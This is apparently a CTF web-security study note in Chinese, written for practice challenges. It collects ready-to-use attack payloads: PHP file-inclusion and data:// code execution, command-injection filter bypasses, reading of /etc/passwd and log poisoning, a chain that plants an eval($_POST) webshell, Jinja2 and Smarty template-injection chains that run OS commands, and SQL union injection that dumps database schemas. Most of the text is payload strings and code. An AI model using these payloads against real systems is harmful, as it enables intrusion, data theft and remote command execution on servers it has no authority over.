- MIME-type:指定数据的类型,默认是 text/plain。
- charset:指定数据的编码类型,如 utf-8。
- base64:如果使用 Base64 编码,则加上该标识。
- data:实际的数据内容。
text/plain 的具体含义
text/plain MIME 类型:
- 表示数据是普通文本文件,没有任何特定的格式或编码。
- 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
- 但是,如果该文本数据本身是 PHP 代码(如
<?php system('ls'); ?>
),且它被 include()、require() 等函数加载,那么它会被当作 PHP 代码解析和执行。
data://text/plain 的实际作用
在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。
示例:执行系统命令
URL:
?file=data://text/plain,<?php system('ls'); ?>
解释:
- data:// 告诉 PHP 加载内联数据。
- text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如
<?php system('ls'); ?>
),并将其执行。
php://filter
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
或者可以用UTF-7
1 | php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php |
php://input
1 | ?a=include$_GET[x]&x=php://input |
RCE
RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园
概念
RCE,即远程代码执行(Remote Code Execution),远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval
RCE命令注入分类
- 无过滤
- 过滤cat
- 过滤空格
- 过滤目录分隔符
- 过滤运算符
- 综合过滤练习
RCE绕过指南
命令绕过
命令执行函数:
1 | system() 输出并返回最后一行shell结果。 |
输出函数:
1 | ls 列出目录并输出 |
空格绕过
1 | ${IFS} |
等号绕过
like
_ 绕过
另外在解析中例如,e_v.a.l
中的_
会变成 e.v.a.l
,这时就需要给改成 e[v.a.l
[
或者是 +
\x5f
八进制绕过
1 |
|
知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码
1 | '\154\163' //执行ls |
发现可以成功执行
但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)
重定向符号可以代替命令中的空格
最终payload
1 | '\143\141\164'<$'\57\146\154\141\147' // cat</flag |
编码脚本:
1 | def encode_to_octal(input_string): |
解码脚本:
1 | def decode_from_octal(octal_string): |
/ 绕过
就是让你无法穿越目录
可利用 ; 拼接命令绕过
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd
# 绕过
--+
%23
换行符绕过
对于?s
正则匹配单行模式下,默认 .
不匹配换行符,可以绕过
%0a
. 绕过
[]
* 通配符绕过
tac /f*
表示输出以 f 开头的文件里的内容
‘ ‘ 空字符匹配绕过
fl''ag = flag
\ 匹配绕过
?c=system("tac fl\ag.php")
\
是 转义字符,通常用于转义后面的字符,fl\ag.php
会被解释为 flag.php
? 占位绕过
?c=system("tac f???????")
?
被用作通配符,代表 任何单个字符
在 Linux 中,f???????
可以匹配任何以 f
开头并包含 7 个任意字符的文件名
flag绕过
f???
f""lag
f/lag
f''lag
cmd=echo file_get_contents("/fla"."g");
URL编码绕过
就是例如 ;
被过滤了,就可以进行URL编码
其他特殊字符也同理
php绕过
<?=
<%
<?echo ?>
(命令放在里面)
and绕过
&&
全部字母绕过
其中 111 115
分别对应 os
的 ASCII 码,99 97 116 32 47 102 108 97 103
分别对应 cat /flag
的 ASCII 码
1 | __import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)) |
传参绕过
eval函数
1 | ?c=eval($_GET[x]);&x=system("ls"); |
include函数
1 | ?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php |
如果(
和;
被过滤:%0a
是 URL 编码中表示换行符(\n
)的字符。从而使得 include
语句和 $_GET[1]
的处理被分开,从而绕过过滤机制,不过include函数这里不加(
也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号
1 | ?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php |
日志包含
既然能够执行文件包含,那么也可以包含日志文件,日志文件中会记录你的UA头,假设我们在UA头中写入后门代码,然后我们包含日志文件,那么就能通过后门代码读取文件
1 | ?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log |
session_start()
1 | ?c = session_id(session_start()); |
并在cookies中传入你需要执行的命令
变量挟持绕过
1 | ?c=eval(array_pop(next(get_defined_vars()))); |
get_defined_vars()
获取当前作用域中所有定义的变量,返回一个数组,键是变量名,值是对应的变量值next(get_defined_vars())
将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由get_defined_vars()
返回的数组array_pop(...)
弹出数组的最后一个元素。这里作用在next(get_defined_vars())
的结果上,获取这个数组的最后一个变量值
文件枚举绕过
getcwd()
函数返回当前工作目录的路径scandir()
函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组- **
show_source()
**函数用于显示一个 PHP 文件的源代码 - **
localeconv()
**返回一个包含本地数字及货币格式信息的数组,该数组的第一项就是’.’
这里的[2]
要多尝试,flag文件的位置不一定会在第2位
1 | ?c=show_source(scandir(getcwd())[2]); |
文件读取绕过
这个函数拼接实际上是上面的复杂版,适用于[]
被过滤的情况,不能直接遍历scandir
数组,只能使用指针操作来获取特定文件,由于前两个文件是.
和..
,因此用array_reverse
函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地址,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件
1 | 读取最后一个文件 |
还可以用另一个函数得到目录
1 | ?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv()))))); |
目录穿越绕过
1 | c=print_r(scandir(dirname(__FILE__))); // 读取当前目录 |
dirname()
用于获取路径的目录部分。dirname('FILE');
返回 ‘.’scandir()
列出指定目录中的文件和目录,返回一个数组print_r()
输出变量的易读信息,适合用于调试和查看数组内容__FILE__
__DIR__
是php中的魔术方法,可以用于获取当前目录与上级目录,通过迭代dirname
函数就能实现目录遍历
输出:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
读取文件绕过
1 | hightlight_file("flag.php") |
或者可以写文件<?php highlight_file("var/www/html/includes/flag.php");?>
这点在PYCC的初赛中有所体现
相似的还有
show_source()
readgzfile()
require_once()
例题1-无过滤简单命令拼接
CTFHub
1 | <?php |
就是个简单的命令拼接(127.0.0.1;ls)
Shell 提供了多种方式来分隔命令,分号就是其中一种。它的作用是告诉 Shell,将分号前后的命令依次执行,而不考虑前一条命令是否执行成功 。例如,在命令 “ping -c 4 127.0.0.1;ls /
” 中,Shell 先执行 “ping -c 4 127.0.0.1
” 命令,不管这个命令是成功(返回 0)还是失败(返回非 0 值),都会接着执行 “ls /
” 命令
- Enter(换行符)
- && 前一条命令执行成功(返回值为 0)时,才会执行后一条命令
- 双管道符(||)前一条命令执行失败(返回值非 0)时,才会执行后一条命令
- 管道符(|) 将前一条命令的输出作为后一条命令的输入
1 | ls / | grep "txt" # 列出根目录下包含 "txt" 的文件 |
尖括号( < 和 > )
特点:
>
:将命令输出重定向到文件(覆盖)。>>
:将命令输出追加到文件。<
:将文件内容作为命令的输入。E.G:
1
2ls / > output.txt # 将 ls 的输出保存到 output.txt
sort < input.txt # 将 input.txt 的内容作为 sort 的输入
例题2-结合php & 过滤命令
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!C!E!) R!C!E!
1 |
|
直接脚本:
1 | import hashlib |
payload:
1 | password=114514&e[v.a.l=echo(`nl /f*`); |
BUUCTF在线评测 RCEService
源码:
1 |
|
?cmd=%0a%0a{"cmd":"/bin/cat%20/home/rceservice/flag"}%0a%0a
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of PHP) Begin of PHP
源码:
1 | <?php |
先看Level1
关于MD5强比较,直接数组绕过即可:
1 | ?key1[]=1&key2[]=2 |
再看Level2
这里的sha1()函数也是无法处理数组,会返回NULL值,因此严格等于左右相等
所以也直接数组绕过:
1 | key3[]=3 |
看Level4
比较两个字符串,如果字符串1与字符串2相等,则返回0,如果字符串1大于字符串2则返回值大于0,如果字符串1小于字符串2则返回值小于0。但是,strcmp()依然无法操作数组,会返回NULL:
1 | ?key1[]=1&key2[]=2&key4[]=4 |
看Level5
1 | key5[]=2024 |
最后:
在这里a-z,A-Z,0-9全被过滤了,就要用非字母和数字的方式将其绕过,用POST方式传递
1 | flag5=. |
CMCTF - CM::CTF 函数重生版
(不当人)
1 |
|
这里没过滤大括号和单引号,可以采用一个{}来代替[],然后参数逃逸一下
1 | ?i=eval($_GET{%27a%27});&a=assert(eval($_POST[%27x%27])); |
可以直接蚁剑连
2025H&NCTF - 2025H&N::CTF Really_Ez_Rce
(更不当人)
1 |
|
这个Number简单,直接给个数组就绕过了,Number[]=a,重点是这个正则
没过滤$,直接参数拼接
1 | Number[]=a&cmd=b=l;c=s;d=/;$b$c%20$d; |
[BUUCTF在线评测](https://buuoj.cn/challenges#[红明谷CTF 2021]write_shell) Write_shell
1 |
|
php标签的php
被过滤,可以换用短标签<?= code?>
,?>
对于一组PHP代码中最后一句起到替代;
payload:
1 | ?action=upload&data=<?echo%09`ls%09/`?> |
因为题目中过滤了php,所以用php短标签来绕过<?= ?>
等效于<?echo ?>
1 | $_SERVER['REMOTE_ADDR']; |
输出访问者的IP地址
回溯限制
[NISACTF 2022]middlerce | NSSCTF
源码:
1 |
|
.
匹配任意一个字符(除换行符\n
外,除非启用s
模式)*
表示前面的字符(或组)重复 0 次或多次
这两个加起来就导致了 .* 将会一直匹配到最后字符串的最后,然后轮到下一个字符
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit : 1000000
当回溯次数超过100万次时,preg_match返回的就是false,表示此次实行失败(超出限制)
所以我们可以通过发送超长字符串来使正则执行失败,绕过对php的限制
1 | import requests |
无回显RCE
利用http标头
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!) R!!C!!E!!
扫目录+python GitHack.py URL
看到源码:
1 |
|
这里可以用上文提到的scandir组合拳去做,但是发现没有什么效果,这里就可以用查看请求头的方法:
1 | ?star=print_r(getallheaders()); |
然后选择命令加在UA上
1 | ?star=eval(next(getallheaders())); |
只允许用特殊字符
源码:
1 |
|
写文件到其他地方
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!) R!!!C!!!E!!!
源码:
1 |
|
1 |
|
然后直接访问b即可
也可以尝试下面这个方法:
[NewStarCTF 2023 公开赛道]R!!!C!!!E!!! | 北歌
由于使用了exec,程序不会有回显,但是没有过滤sed,我们可以把正则里的|删去
1 | $a = new minipop; |
echo -e "\x2ep"
\x2e
是十六进制,代表字符.
\x70
是十六进制,代表字符p
- 所以
echo -e "\x2ep"
输出就是.p
1 | index`echo -e "\x2ep"`hp |
- 反引号会执行命令并替换结果
- 最终拼接成:
index.php
sed 命令
1 | sed -i 's/|//g' index.php |
-i
:直接修改文件(不备份)'s/|//g'
:把文件中所有的|
字符删除
无参数RCE
BUUCTF在线评测 禁止套娃
跳过前面运用GitHack的部分,直接看RCE部分
源码:
1 |
|
Padyload:
用 current(localeconv()) 来代替了 .
1 | ?exp=readfile(next(array_reverse(scandir(current(localeconv()))))); |
文件上传
[CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客](https://blog.csdn.net/qq_65165505/article/details/141370798#:~:text=在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。,将一个正常显示的图片,上传到服务器。 寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。)
普通php/phtml文件上传
通过burpsuite拦截抓包更改后缀
就是个简单的拦截改成后缀为php
通过.htaccess或者user.ini进行文件上传
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Upload again!) 运用.htaccess
通过文件名传马
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 总决赛 Day2 Web1]Easyweb)
SSTI
1 | 因为hexo的关系,这里不在代码块外的{{}}统一换成{{...}} |
介绍
模板引擎:(这里特指用于Web开发的模板引擎)
是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前
SSTI(Server-Side Template Injection):服务器端模板注入
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
Smarty SSTI
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华东南赛区]Web11)
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(),
等等
既然全部的PHP条件表达式和函数都可以在if内使用,那我们在里面写php代码也行。{if phpinfo()}{/if}
payload:
X-Forwarded-For:{if system('cat /flag')}{/if}
原理
CTF web漏洞合集 Python篇(1)python中的SSTI - LamentXU - 博客园
Python SSTI漏洞学习总结 - Tuzkizki - 博客园
介于jinja2出现的非常多,就只看看jinja2
先看这个包浆的图片()
可以知道49如果回显是49(也就是执行了里面的命令)的话,就说明存在SSTI
然后可以再试NaN,如果还是49就可以下判断了,但是一般题目就是前一步可以直接下结论是jinja2内部存在的SSTI
那么什么是jinja2?
Jinja 模板只是一个文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件
模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自于 Django 和 Python
基本语法:
1 | 语句 {% ... %} |
常用的语句包括:for、if、set、include、block、filter 等
变量通过传递字典来进行使用,当使用 for 语句的时候,变量可以是列表
创建和渲染模板的最基本方法是通过 Template
,通过创建一个 Template
的实例,
会得到一个新的模板对象,模板对象有一个 render()
的方法,该方法在调用 dict
或 keywords
参数时填充模板
E.g
1 | from jinja2 import Template |
结果就是
hello 111
成因:
欸但是一般代码中不带这个{{...}}
,就会出现:
1 | from flask import Flask, request, render_template_string |
或者
1 | from flask import Flask, request, render_template_string |
再或者
1 | from jinja2 import Template |
这边你正常传入一个字符串,就是正常显示的,但是当你传入一个{{7*7}}
,结果就是会变成49,这是因为{{...}}
被渲染到Template里了,这点在上面的jinja2语法中有所体现
然后传入49
那么我们知道了可以传入{{...}}
进而被Template渲染后,我们就可以尝试干两件事:获取信息和RCE
我们先看获取一些信息这边
比如查看一些什么config和env
1 | {{config}} # 获取config,包含flag |
给个源码方便你们也可以试试()
1 | from jinja2 import Template |
然后我们直接 ?name={{config}}
可以看到
再看看 {{request.environ}}
如果是想进行RCE的话,那就需要os库,但是肯定不会傻到内置os库给你用的,所以就需要你自己导入一个os库,使用system或者popen这种危险函数来读取
然后就有思路:
- 使用万能的对象(比如字符串对象’’)-> 子类 -> 基类 -> 危险类的危险函数(大多数情况)
- 直接使用代码中定义的对象(包括已经导入的库)所包含的危险子类中的危险函数(R3CTF 2024 web jinjaclub wp - LamentXU - 博客园)
这里说是“万能的对象”,其实大多数情况下,最好用最经典的还是字符串对象’’,当然[]这些对象也是可以的
python中每个对象都有个属性__class__
,用于返回该对象所属的类。而我们要做的,就是获取到object基类
使用''.__class__
我们就完成了第一步,即,获取到一个字符串对象
[]
和{}
也可以
还有:
__bases__
:以元组的形式返回一个类所直接继承的类
__base__
:以字符串形式返回一个类所直接继承的类
__mro__
:返回解析方法调用的顺序
__subclasses__()
: 是一个特殊方法,用于获取某个类的所有直接子类
__init__
:所有自带带类都包含init方法,便于利用他当跳板来调用globals
function.__globals__
:用于获取function所处空间下可使用的module、方法以及所有变量
['__builtins__']
:从全局变量字典中获取内置模块的引用
- 通过
__builtins__
访问eval()
或exec()
函数来执行恶意代码 - 使用
__builtins__
中的open()
函数来读取或写入文件 - 利用
__builtins__
中的__import__()
函数来动态导入其他模块,比如os
或sys
,然后执行系统命令
__import__
:导入模块
__getitem__
:提取元素
比如:
1 | print("".__class__.__bases__) |
""
:创建一个空字符串__class__
:访问该空字符串的类。对于字符串对象,其类是str
__bases__
:访问str
类的基类。对于内置类型,str
类的基类是object
这三个属于获取基类的办法。获取到object基类之后,因为这个基类的子类是这个python程序目前的所有类,所以可以直接找到我们要的os(是基类的一个子类)
使用"".__class__.__bases__
或"".__class__.__mro__[1]
或"".__class__.__base__
我们就完成了第二步,即,获取到了object基类
我们看这个:
1 | print("".__class__.__mro__[1].__subclasses__()) |
- 获取空字符串的类:
"".__class__
返回str
类 - 获取
str
类的继承顺序:__mro__
返回一个元组,列出str
类及其基类的顺序 - 获取
str
类的直接基类:[1]
取出__mro__
元组中的第二个元素,即object
类 - 获取
object
类的所有直接子类:调用__subclasses__()
方法
这样打印出来的结果就是object下的所有子类
现在我们要进行RCE的话
我们要做的,是找到使用os的内置类。那这可多了,这里可以fuzz出(由python环境改变而改变,可以直接bp数字爆破一下)如果没有的话,也可以找一些可以读取文件的内置类,那么warnings.catch_warnings类 可就成重灾区了(有很多其他的)
我们发现object基类的__subclasses__()中 <type ‘warnings.catch_warnings’> 的索引值为138(随环境改变而改变),导入他后直接导入os并RCE即可,你去找os._wrap_close
也可以
1 | {{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}} |
也可以稍微拼接绕过一下
1 | {{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
当然,你也可以找到其他调用了os的内置类,利用__init__
和function.__globals__
来调用内置类中os类的方法,如subprocess.popen:
1 | {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}} |
有用的python内置类有很多,这里贴一个脚本,可以直接把subclass出来的东西放data里帮你检测有用的类的索引
1 | import re |
做题流程也很明确了:确定好要用SSTI打RCE之后用burp(payload:"".__class__.__mro__[1].__subclasses__()
)fuzz服务器找os或者file,然后读取文件或RCE
总结一下就是:先找object基类,然后subclasses出所有的类(就应该是一大坨玩意)然后放上面那个脚本里跑索引。找到能用的类之后去网上找这个类对应的payload打就完了)
Bypass
过滤了两个大括号
可以直接{%print()%}
替代,上文有介绍,与{{...}}
同等效果,想看回显可以
1 | {%print(7*7)%} |
也可以使用flask控制语句{%...%}
以{%end%}
结尾(括号内可控制语句,定义变量,写循环判断)
于是使用
1 | {%if().__class__%}123{%endif%} |
如果__class__
类下存在内容就输出123
你甚至可以用循环来查找可以用的类
1 | {% for c in. class.base_subclasses () %}{% if c.__name__=='catch warnings'%}{{c.__init__.__globals__['__builtins__'] .eval('__import__("os").popen("<command>").read()')}}{% endif%}{% endfor %} |
字符串拼接
1 | "__glo"+"bal__" == "__global__" |
过滤了 .
[]
替代
1 | a.b == a['b'] |
request.args逃逸
如果题目中没有过滤request,则可以将一些含有敏感字符的位置用get传,再在SSTI中用request.args.arg1逃逸到get参数里去
1 | request.args.name |
GET (用request.args)
1 | {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd |
POST (用request.values)
1 | {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} |
过滤了 []
.getitem
1 | tuple[0] == tuple.getitem(0) |
.pop
1 | __subclasses__()[128] = __subclasses__().pop(128) |
E.g
1 | # 原payload,可以使用__base__绕过__bases__[0] |
pop
是列表的一个方法,用于移除列表中的元素并返回该元素。这里 pop(128)
表示从列表中移除并返回索引为 128 的元素
过滤了 config
1 | # 绕过,同样可以获取到config |
用内置函数
1 | {{url_for.__globals__['current_app'].config}} |
过滤了__init__
用__enter__
或者__exit__
替代
1 | {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} |
过滤了os
可以使用翻转字符的方法,比如
1 | __import__('so'[::-1]).popen |
这跟__import__('os').popen
等效
编码过滤
1 | # 以下皆为 ""["__class__"] 等效形式 |
实战下就可以是:
1 | {%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%} |
一些高端的∞
展示些高端玩法()
内置类 Undefined
在渲染().__class__.__base__.__subclasses__().c.__init__
初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>
,所以看起来并不存在的c类实际上触发了内置的Undefined类型
可用payload:
1 | a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read() |
过滤器
Template Designer 文档 — Jinja 文档 (3.2.x)
在 Jinja2 中,过滤器(Filters)用于对变量进行转换或格式化。过滤器可以用来修改变量的值,使其符合特定的格式或需求。过滤器在模板中使用管道符号 |
进行应用,可以链式调用多个过滤器
假设我们有以下模板变量:
1 | from datetime import datetime |
常用过滤器
**
default
**:为变量提供默认值1
{{ undefined_variable|default("No value") }} {# 输出:No value #}
**
length
**:获取列表或字符串的长度1
{{ items|length }} {# 输出:3 #}
**
lower
、upper
、title
**:转换字符串的大小写1
2
3{{ name|lower }} {# 输出:mihoyo #}
{{ name|upper }} {# 输出:MIHOYO #}
{{ name|title }} {# 输出:miHoYo #}**
join
**:将列表元素连接成字符串1
{{ items|join(", ") }} {# 输出:zzz, starrailway, genshin #}
**
replace
**:替换字符串中的子串1
{{ "Hello World"|replace("World", "Jinja2") }} {# 输出:Hello Jinja2 #}
**
format
**:格式化字符串1
{{ "Price: %.2f"|format(price) }} {# 输出:Price: 42.50 #}
**
select
、reject
**:选择或排除列表中的元素1
2{{ items|select("startswith", "z")|list }} {# 输出:['zzz'] #}
{{ items|reject("endswith", "z")|list }} {# 输出:['starrailway', 'genshin'] #}**
date
**:格式化日期1
{{ now|date("%Y-%m-%d %H:%M:%S") }} {# 输出:当前日期和时间 #}
多个过滤器链式调用
1 | {{ items|length|default(0) }} {# 如果 items 是 None 或空的,输出 0 #} |
这里我们着重看看 set 和 attr()
set
set
过滤器在 Jinja2 中用于定义和赋值变量
先来看
1 | {% set one = dict(c=a) | join | count %} |
dict(c=a)
- 作用:创建一个字典,键是字符串
"c"
,值是变量a
- 示例:如果
a
的值是"test"
,那么dict(c=a)
的结果是{"c": "test"}
那我们可以用这个构造:
1 | {% set a = dict(po=a,p=a)|join %} {# 构造 'pop' #} |
当然你要是构造不出 _
可以直接入手找 _
1 | {%set one=dict(c=a)|join|count%} |
数数看看_
在第几个,然后拼接
1 | 拼接数字为24 |
其余情况可以构造一个链:
1 | {% set a = dict(po=a,p=a)|join %} {# 构造 'pop' #} |
lipsum.__globals__['os'].popen('ls').read()
attr()
当某些字符如点号 (.
)、中括号 ([]
) 或引号被过滤时
1 | {{ ''|attr('__class__') }} # 相当于 {{ ''.__class__ }} |
链式调用
1 | {{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77) }} |
lipsum
lipsum
是一个全局的函数或变量,它通常用于生成随机文本,但在 SSTI 攻击中,它也可以被用来获取内置模块或函数
ipsum.__globals__
是一个字典,包含了在 lipsum
函数定义时的全局变量。在 Jinja2 模板中,如果 lipsum
存在,攻击者可以利用它来访问全局变量,如 __builtins__
、os
等模块
比如:
1 | {{ lipsum.__globals__['os'].popen('ls').read() }} |
使用 popen
方法执行命令 ls
,并调用 read()
方法读取输出
1 | {{ lipsum.__globals__.__builtins__.__import__('os').popen('ls').read() }} |
通过 __import__
函数导入 os
模块,进而执行命令
那么结合一下前面的内容可以字符串拼接绕过
1 | {%print(lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so'[::-1])['po'+'pen']('ls').read())%} |
或者使用attr
过滤器访问:
1 | {{ lipsum|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')() }} |
url_for、get_flashed_messages
这是flask内置的两个全局函数,两个都用__globals__
键
1 | # flask |
bytes
python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串
payload
1 | # ""[__class__] |
add_api_route()
在 FastAPI 中,add_api_route
是一个非常灵活且强大的方法,用于手动向应用程序中添加 API 路由。它提供了对路由行为的更精细控制
方法签名
1 | def add_api_route( |
参数说明
- path:路由的路径,比如
/items
。 - endpoint:处理该路由的函数,可以是同步或异步函数。
- response_model:定义返回的数据类型,通常是一个 Pydantic 模型,用于数据验证和文档生成功能。
- status_code:指定请求成功的 HTTP 状态码,默认值是
200
。 - tags:为路由指定标签,便于在文档中对路由进行分组和组织。
- dependencies:定义路由的依赖项,比如身份验证或数据库连接等。
- summary 和 description:分别用于提供该路由的简要和详细描述,这些信息会显示在自动生成的文档中。
- response_description:描述成功的响应内容。
- responses:一个字典,可以用来定义更详细的响应信息,包括不同状态码的响应内容。
- deprecated:标记该路由是否已被废弃。
- methods:允许的 HTTP 请求方法列表,如
["GET", "POST"]
。如果设置为None
,默认仅支持GET
。 - operation_id:唯一标识符,用于 OpenAPI 文档中标识该操作,通常自动生成。
- response_model_include 和 response_model_exclude:用于控制返回数据模型中包含或排除的字段。
- response_model_by_alias:是否按照模型字段的别名返回数据,默认为
True
。 - response_model_exclude_unset、response_model_exclude_defaults、response_model_exclude_none:用于控制是否排除未设置的字段、默认值字段和值为
None
的字段。 - include_in_schema:是否将该路由包含在自动生成的文档中,默认为
True
。 - response_class:指定返回的响应类,默认是
JSONResponse
。 - name:路由的名称,用于在某些情况下如 OpenAPI 文档中标识该路由。
- callbacks:可以用来指定回调路由。
- openapi_extra:可以为 OpenAPI 文档提供额外的元数据。
- generate_unique_id_function:用于生成唯一的操作 ID 的函数。
奇妙的思路1
1 | {%print(self.__dict__._TemplateReference__context.keys())%} |
语句获取已经载入内存中的Flask内置函数
然后可以利用 lipsum
1 | {%print(lipsum.__global__['os']['popen']('more /f*').read())%} |
奇妙的思路2
第三届黄河流域公安院校网络安全技能挑战赛 web 全解 - LamentXU - 博客园
写static
创建static目录:
1 | title=1&author={{g.pop.__globals__.__builtins__['__import__']('os').system('mkdir%20static')}} |
/details访问。触发。
mv同目录下文件到/static
1 | title=1&author={{g.pop.__globals__.__builtins__['__import__']('os').system('mv%20*%20./static/LamentLament.txt')}} |
details查看触发SSTI。访问/static/LamentLament.txt获取flag
一些不用动脑的()
Fenjing大法
基础例题
RUST下的SSTI
1 | {%set my_var = get_env(name="FLAG") %}{{my_var}} |
HNCTF 2022 WEEK2]ez_SSTI | NSSCTF
参数是name,测试得出模板是jinja2
。
{{''.__class__.__bases__[0].__subclasses__()}}
用这个找到os._wrap_close
类。定位到了137
然后
1 | {{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}} |
查找用没有popen函数
发现有
则payload:
1 | ?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}} |
[BUUCTF在线评测](https://buuoj.cn/challenges#[CSCCTF 2019 Qual]FlaskLight) Flasklight
1 | {{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}} |
综合绕过
攻防世界 Web_python_template_injection
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac f14g').read()")}}
LitCTF 2025]星愿信箱 | NSSCTF
发现成功回显49,证明存在SSTI
之后就正常SSTI:(过滤了cat)(nl也可以)
1 | {%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%} |
另解:
{%print(self.__dict__._TemplateReference__context.keys())%}
语句获取已经载入内存中的Flask内置函数
然后可以利用 lipsum
{%print(lipsum.__global__['os']['popen']('more /f*').read())%}
巅峰极客 2024]GoldenHornKing | NSSCTF
1 | add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read()) |
SQL
判断字段数:
- order by
information_schema数据库
- schemata: 保存当前整个服务器所有的数据库信息 库名
- tables: 保存当前整个服务器所有的数据表的信息 表名 table_name
- columns: 保存当前整个服务器所有的字段信息 字段名
- group_concat: 去重
(1)联合查询
攻防世界 NewsCenter
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#
//news secret_table
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table'#
//id f14g
1' union select 1,2,group_concat(fl4g) from secret_table#
// QCTF{sq1_inJec7ion_ezzz}
[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL) Baby SQL(双写绕过)
试列数:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
(这个URL编码是#)
爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
